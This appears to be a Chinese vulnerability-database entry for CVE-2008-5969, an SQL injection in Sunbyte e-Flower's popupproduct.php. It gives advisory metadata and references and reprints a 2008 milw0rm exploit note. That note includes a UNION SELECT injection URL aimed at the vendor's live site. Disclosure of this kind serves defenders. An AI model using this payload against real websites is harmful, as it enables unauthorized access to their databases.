Sunbyte eFlower 'popupproduct.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116915 漏洞类型 SQL注入
发布时间 2008-12-02 更新时间 2009-02-02
CVE编号 CVE-2008-5969 CNNVD-ID CNNVD-200901-340
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7323
https://www.securityfocus.com/bid/32589
https://cxsecurity.com/issue/WLB-2009010210
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-340
|漏洞详情
Sunbytee-Flower中的popupproduct.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
#===========================================================
#
# SunByte e-Flower SQL Injection Attack by [W4RL0CK]
#
#===========================================================
# 
# VENDOR: Sunbyte  URL: http://www.sunbyte.net/
# APP: Sunbyte e-Flower (eCommerce webapp)
# APP SITE: http://www.sunbyte.net/products/index.php?screen=eflower
# AUTHOR: W4RL0CK
# DATE: 29/11/08
# VULN.: SQL INJECTION
#
# 
# WEBSITE: http://warlock.iblogger.org
# CONTACT: w4rl0ck@hackermail.com
#
#===========================================================
#
# Expl0itin6:
#
# http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]
#
# Liv3 dEm0:
#
# http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12
#
#
#
# now, use y0ur imaginati0n!  ;) 
# note: there could be more vulnerabilities in the application
#
#===========================================================
#
# gr33tz t0 >>>>>>>>> CHIL34N T34M <<<<<<<<<<<<
#  ===================================================
# [ we ar3: Vicent0! ~ ThE.Xin0x ~ Par4d0gX ~ W4RL0CK ]
#  ===================================================
#
#     and all m3mb3rs of: [MiTM.cL]       & str0ke
#
#===========================================================

# milw0rm.com [2008-12-02]
|受影响的产品
Sunbyte.net Sunbyte e-Flower 0
|参考资料

来源:BID
名称:32589
链接:http://www.securityfocus.com/bid/32589
来源:MILW0RM
名称:7323
链接:http://www.milw0rm.com/exploits/7323
来源:SECUNIA
名称:32923
链接:http://secunia.com/advisories/32923